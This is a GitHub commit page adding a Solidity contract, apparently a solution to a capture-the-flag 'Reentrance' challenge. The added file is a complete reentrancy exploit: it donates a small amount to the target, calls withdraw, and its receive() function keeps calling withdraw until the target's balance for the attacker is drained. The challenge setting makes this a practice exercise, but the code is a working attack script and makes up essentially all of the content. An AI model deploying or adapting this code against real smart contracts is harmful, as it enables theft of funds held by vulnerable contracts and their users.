-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
2 changed files
with
33 additions
and
3 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,28 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
|
||
interface IReentrance { | ||
function donate(address _to) external payable; | ||
function withdraw(uint _amount) external; | ||
function balanceOf(address _who) external view returns (uint balance); | ||
} | ||
|
||
contract ReentranceAttacker { | ||
address public challengeInstance; | ||
|
||
constructor(address _challengeInstance) payable { | ||
challengeInstance = _challengeInstance; | ||
} | ||
|
||
function attack() external { | ||
IReentrance(challengeInstance).donate{value: 0.001 ether}(address(this)); | ||
IReentrance(challengeInstance).withdraw(0.001 ether); | ||
} | ||
|
||
receive() external payable { | ||
uint balance = IReentrance(challengeInstance).balanceOf(address(this)); | ||
if (balance > 0) { | ||
IReentrance(challengeInstance).withdraw(balance); | ||
} | ||
} | ||
} |